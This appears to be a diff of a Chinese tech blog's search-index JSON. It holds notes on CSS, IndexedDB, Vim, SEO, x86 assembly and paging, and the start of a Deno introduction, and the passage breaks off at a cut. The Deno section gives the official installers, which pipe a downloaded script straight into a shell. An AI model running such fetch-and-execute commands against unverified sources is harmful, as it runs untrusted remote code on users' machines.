pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能","title":"简单解决文本溢出问题"},{"content":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rdatadb.onerror = function(){\rconsole.log(\u0026quot;数据库打开失败\u0026quot;)\r}\rdatadb.onsuccess = function(){\rconsole.log(\u0026quot;数据库打开成功\u0026quot;);\r}\rdatadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;);\r}\ronerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true});\r唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false})\rcreateIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rvar db;\rvar objdb;\rdatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rdb = event.target.result;\rconsole.log(db)\rif(!event.target.result.objectStoreNames.contains('abc')){\robjdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r}\rdatadb.onsuccess = function (event) {\rconsole.log(\u0026quot;数据添加成功\u0026quot;);\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.add({id: 1,name: 'a', email: \u0026quot;a@xiaochenabc123.test.com\u0026quot;});\r} 只要通过一个叫事务（transaction）来操作数据库，有两个参数，分别是要操作的数据对象，事务模式\n事务模式有三种：\nreadOnly：只读 readwrite：读写 versionchange：数据库版本变化\n不指定则默认为readOnly（只读）\n添加多条数据\nvar arrdata = [\r{id: 1,name: 'a', email: \u0026quot;a@xiaochenabc123.test.com\u0026quot;},\r{id: 2,name: 'b', email: \u0026quot;b@xiaochenabc123.test.com\u0026quot;},\r{id: 3,name: 'c', email: \u0026quot;c@xiaochenabc123.test.com\u0026quot;}\r];\rdatadb.onsuccess = function (event) {\rconsole.log(\u0026quot;数据库添加成功\u0026quot;);\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\rfor(var i in arrdata){\robjadd.add(arrdata[i]);\r}\r} 读取数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,4); datadb.onsuccess = function (event) {\rconsole.log(\u0026quot;数据库读取成功\u0026quot;);\rvar ab = event.target.result;\rvar transactiona = ab.transaction(['abc']);\rvar objectStorea = transactiona.objectStore('abc');\rvar datas = objectStorea.get(1); // objectStorea.get()方法的参数为主键的值\rdatas.onsuccess = function( event) {\rif (datas.result) {\rconsole.log('ID: ' + datas.result.id);\rconsole.log('Name: ' + datas.result.name);\rconsole.log('Email: ' + datas.result.email);\r}else {\rconsole.log('未读取到数据记录');\r}\r}; datas.onerror = function(event) {\rconsole.log('数据库读取成功');\r};\r}\r读取多条数据（遍历）\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,4); datadb.onsuccess = function(){\rvar db= event.target.result;\rdisplayData();\rfunction displayData() {\rvar transaction = db.transaction([\u0026quot;abc\u0026quot;], \u0026quot;readonly\u0026quot;);\rvar objectStore = transaction.objectStore('abc');\robjectStore.openCursor().onsuccess = function(event) {\rvar datas = event.target.result;\rif(datas) {\rconsole.log(\u0026quot;id:\u0026quot;+datas.key);\rconsole.log(\u0026quot;name:\u0026quot;+datas.value.name);\rconsole.log(\u0026quot;email:\u0026quot;+datas.value.email)\rconsole.log(datas.value)\rdatas.continue();\r} }\r}\r更新数据\n和add()类似\ndatadb.onsuccess = function (event) {\rconsole.log(\u0026quot;数据更新成功\u0026quot;);\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.put({id: 1,name: 'hallo', email: \u0026quot;abc@xiaochenabc123.test.com\u0026quot;})\r} 删除数据\ndatadb.onsuccess = function (event) {\rconsole.log(\u0026quot;数据更新成功\u0026quot;);\rvar tp = event.target.result;\rvar transaction = tp.transaction(['abc'], 'readwrite');\rvar objadd = transaction.objectStore('abc');\robjadd.delete(1);\rconsole.log('数据删除成功');\r} ","permalink":"https://xiaochenabc123.github.io/posts/5/","summary":"IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制\n打开（新建）indexedDB：\nindexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rdatadb.onerror = function(){\rconsole.log(\u0026quot;数据库打开失败\u0026quot;)\r}\rdatadb.onsuccess = function(){\rconsole.log(\u0026quot;数据库打开成功\u0026quot;);\r}\rdatadb.onupgradeneeded = function(event){ console.log(\u0026quot;数据库版本升级\u0026quot;);\r}\ronerror事件表示打开数据库失败\nonsuccess事件表示打开数据库成功\nonupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）\n新建数据对象（数据表）\ndatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r表名为abc，主键为id，主键默认为索引\n判断是否存在该表\nif(!event.target.result.objectStoreNames.contains('abc')){\rvar objdb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{keyPath: \u0026quot;id\u0026quot;});\r}\r递增属性(可以用于作为主键)\nvar maindb = event.target.result.createObjectStore(\u0026quot;abc\u0026quot;,{autoIncrement: true});\r唯一属性\nobjdb.createIndex(\u0026quot;id\u0026quot;,\u0026quot;id\u0026quot;,{unique: false})\rcreateIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引\n添加数据\nvar datadb = window.indexedDB.open(\u0026quot;data\u0026quot;,1);\rvar db;\rvar objdb;\rdatadb.onupgradeneeded = function(event) {\rconsole.log(\u0026quot;数据库升级\u0026quot;);\rdb = event.","title":"IndexedDB浏览器数据库学习笔记"},{"content":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件\n","permalink":"https://xiaochenabc123.github.io/posts/3/","summary":"Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能\nvim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）\n启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式\n普通模式不能输入文本，只能进行现有内容的处理（移动复制删除等等）\n正常模式：Esc或Ctrl+[进入 插入模式：按i键进入（a和o都可以） 命令行模式：在正常模式下按:进入 可视化模式：按v或者V，ctrl-V（或者ctrl-Q）进入 替换模式：在正常模式下按r进入\nv 进入字符可视化模式 V 进入行可视化模式 Ctrl+v 进入块可视化模式\n可视模式是用来选取一段文本，光标移到段首，在普通模式下按 v 进入可视模式，然后把光标移到段末\n移动光标\nh：光标左移 j：光标下移 k：光标上移 l：光标右移\n^或者0：移动到行首（命令行模式） $：移动到行尾（命令行模式）,可搭配数字来组合，例如2$就是2表示要移动的行数\n移动光标也可以搭配数字来进行组合，例如：\n3+h：光标左移3个字符\nvim hallo.js\n在vim界面新建文件\n:open hallo.js\n在vim界面打开一个新窗口新建文件\n:split file\n切换到上一个文件\n:bp\n切换到下一个文件\n:bn\n查看vim文件列表\n:args\n打开远程文件\n:e \\hallo abc.txt\n/text：按n健查找下一个，按N健查找上一个\n?text：按n健查找上一个，按N健查找下一个\n:wq：保存并且退出，加!表示强制\n:q!：强制退出并且放弃所有更改\n:e!：放弃修改，并且重新打开文件","title":"简单使用Vim编辑器"},{"content":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度\n","permalink":"https://xiaochenabc123.github.io/posts/2/","summary":"SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）\nrobots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫\nrobots.txt文件应该放在网站根目录下\n允许指定蜘蛛获取，*为通配符\nUser-agent: *\n允许指定目录可以被获取\nAllow: /\n指定Sitemap文件在哪\nSitemap: sitemap.xml\n不允许指定目录被获取（注意该方法会模糊匹配，例如/adminxxx，也是会被屏蔽）\nDisallow: /admin\ndescription（描述）\nkeywords（关键词）\nSitemap（通知搜索引擎，该网站有哪些可以供爬取的，常见的有xml，html）\nHTML标签优化\n语义化标签，例如header，nav，footer\n内部连接优化\n尽量不要使用JavaScript来设置链接，应该使用简单的a href\n友情链接\n友情链接就是在自己网站上放其他网站的链接，友情链接实质上并不能带来多少访问量，而且是用来增强搜索引擎的收录量爬取量\n注意：请不要在友情链接上加rel=\u0026ldquo;nofollow\u0026rdquo;，该属性会告诉搜索引擎爬虫不用抓取目标页，那么这个友情链接就是废了\n而且不要乱加友情链接，应该选择高质量，而且内容相似，更新频率高，而且还要有一定的访问量\n注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接\n尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容\n重要信息请勿使用js输出，爬虫不会抓取js的内容\n给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度","title":"简单了解SEO"},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"","title":""},{"content":"","permalink":"https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/","summary":"","title":""}]
\ No newline at end of file
+[{"content":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中\n虚拟内存并不是万金油，触发虚拟内存的条件是物理空间不够分配时\n","permalink":"https://chenjunlinabc.github.io/posts/162/","summary":"x86架构通用寄存器（32位的x86架构和64位的x86_64架构）\nx86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的\n32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI\nEAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL\n实质上EAX，ECX，EDX，EBX都可以被拆开使用，ECX的低16位叫CX，CX又可以被分为高8位的CH和低8位的CL\nEDC的低16位叫DX，DX又可以被分为高8位的DH和低8位的DL，EBX的低16为叫BX，BX又可以被分为高8位的BH和低8位的BL\nESP，EBP，ESI，EDI的低16位也可以被单独使用，但是没有8位的，这低16位名称分别是SP，BP，SI，DI\nEAX寄存器被乘法和除法指令自动调用，因此又叫累加寄存器\nECX被LOOP（循环）指令调用为循环计数器\nESP被用于寻址栈上的数据，ESP始终指向栈顶，因此又叫栈指针寄存器\nESI和EDI又叫变址寄存器，变址寄存器引用的是内存地址，ESI指向内存源地址，EDI指向目的地址\nEBP叫帧指针寄存器，被用来引用栈上的函数参数和局部变量\n除了通用寄存器还有EFLAGS标志寄存器，EIP指针寄存器（这个非常重要，因为其引用的是下一条要被指向的指令的地址，注意：并不能直接通过名称来说调用，只能通过CALL之类的间接修改）等等\n64位架构（通用寄存器为16个，并且是64位的，而且每个都可以低8位，16位，32位单独使用）\nEAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI的64位是R开头的，其他和32位架构是一样的，64位架构的内存地址也是64位的\nx86汇编指令（通常是由一个操作码（opcode）和0到多个的操作数（operand）组成）\n整数加减指令（ADD指令（有2个操作数，分别是目的操作数和源操作数，ADD指向将这2个操作数的值相加，将结果存放在源操作数中，源操作数可以是寄存器，内存，目的操作数要满足可写条件，因此也可以是寄存器，内存，但是不能同为内存））和SUB指令（和ADD指令一样，但是是将结果存放在目的操作数中））\nADD指令：ADD EAX,32 （将EAX寄存器的值加上32，并且将结果存放回EAX寄存器中）\nSUB指令：SUB ESP,32 （将ESP寄存器的值减去32，并且将值存放回EAX寄存器中）\n数据传输指令（x86架构有多个数据传输指令，这里是MOV指令）\nMOV指令用于寄存器之间和寄存器和内存之间传输数据使用，MOV指令将源操作数复制到目的操作数中，例如MOV EDX, 666 （将数值666存储在EDX寄存器中）\nx86架构内存寻址：displacement（位移，可以在指令中直接得到内存的偏移量，也就是位移，这个位移表示距离操作数的直接偏移量），base（基址，内存地址存储在通用寄存器中），index（索引，注意ESP寄存器不能用于索引），scale（比例因子，用于索引相乘，是固定值，可取值1，2，4，8）\n内存最复杂的地址计算公式：base+（index*scale）+displacement\nbase和index，displacement都可以随意组合，也可以不存在，如果不使用index，就不需要使用scale了，scale只为index服务，index和scale被用于寻找数组地址和多维数组\n入栈和出栈指令（PUSH和POP指令）\nPUSH指令只有一个操作数，就是需要入栈的源操作数，这个指令可以将ESP寄存器向下移动一个位，并且将源操作数复制到ESP寄存器指向的内存处，例如：PUSH EAX\nPOP指令也是只有一个操作数，就是用来接收数据的目的操作数，POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中，并且将ESP寄存器向上移动一个位置，例如：POP EAX\n分支跳转指令（JMP指令）\nJMP指令只有一个操作数，这个操作数可以是内存，寄存器或者立即数，通过这个操作数来给出需要跳转的目的地址，例如 JMP EAX\n过程调用指令（CALL指令）\n高级语言的函数在汇编叫过程，CALL指令只有一个操作数，是过程的起始地址，例如 CALL EAX\n分支跳转指令和过程调用指令的区别是，分支跳转指令不会记录返回地址，这个返回地址是CALL指令之后的下一条指令的地址，CALL指令会将返回地址入栈，然后跳转到目的地址执行\n子过程执行完成通过RET指令返回，RET指令会在栈上弹出返回地址，并且跳转到该返回地址上继续执行\n内存分页机制\n线性地址\n在内存分页模式中，应用使用的地址就叫线性地址，由MMU(menorymanagement unit)基于页表来映射转换为物理地址\n在内存分页模式未出现之前，应用是直接访问物理内存的，应用具备读写全部物理内存的权限，因此可能会覆盖其他应用的数据，而80386架构出现，出现了保护模式，使用内存分页来通过特权级和进程地址空间来进行隔离\n进程地址空间隔离是通过进程独立性页表来完成的，每个进程实现的地址空间是不同的，避免影响到其他进程\n80386两级页表\n80386架构的线性地址为32位，因此可寻4GB大小的内存空间（4096），地址总线也是32位，因此也是只能寻找4gb大小的物理内存，而且分页机制也将每个物理内存的页面的大小设为4096字节\n一个页面大小为4096字节，地址总线为32位，因此一个页面可存储1024个物理页面地址，80386页表的第一页面是目录页面，物理内存地址存储在CR3寄存器中，可通过该目录页面来查找第二页面的1024个物理页面地址\nMMU将32位的线性地址，低12位是页内偏移，然后的低10位是页表的索引，最后的高10位是页面目录索引，页内偏移的取值范围为0到4095，页表索引和页面目录索引的取值范围为0到1023\n80386线性地址转换到物理地址的过程：先从CR3寄存器中获取页目录的物理地址，然后选择一个页表，在到页表索引中，找到页面的物理地址，最后通过页内偏移量来得到实质上的物理地址\nPAE三级页表\n80386架构的每个进程可使用4gb的线性地址空间，但是操作系统会将4gb的地址空间划分成用户空间和内核空间，为了解决内存空间不够使用，英特尔公司推出了物理地址扩展技术（PAE，PhysicalAddressExtension）\nPAE将地址总线扩展到36位，因此可寻找64gb的物理内存，但是线性地址依然是32位的，为了解决32位线性地址支持36位的物理地址映射，MMU页表映射机制进行了调整，一个页面只能存储512个地址\nPAE的32位线性地址是，高2位是页目录指针索引，后面9位是页目录索引，再后9位是页表索引，最后12位是页内偏移\nx64四级页表\n因为PAE技术并没有扩展线性空间，32位的地址宽度不够使用了，AMD公司基于x86架构扩展而出的x64架构，x64架构的寄存器宽度是64位的，但是线性地址只使用了48位，但是也足够了，因为可以寻高达256TB的内存空间地址，具体可寻多少物理内存空间，取决于地址总线的宽度\nx64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量\n虚拟内存\n进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录\n物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中","title":"汇编基础学习笔记"},{"content":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install 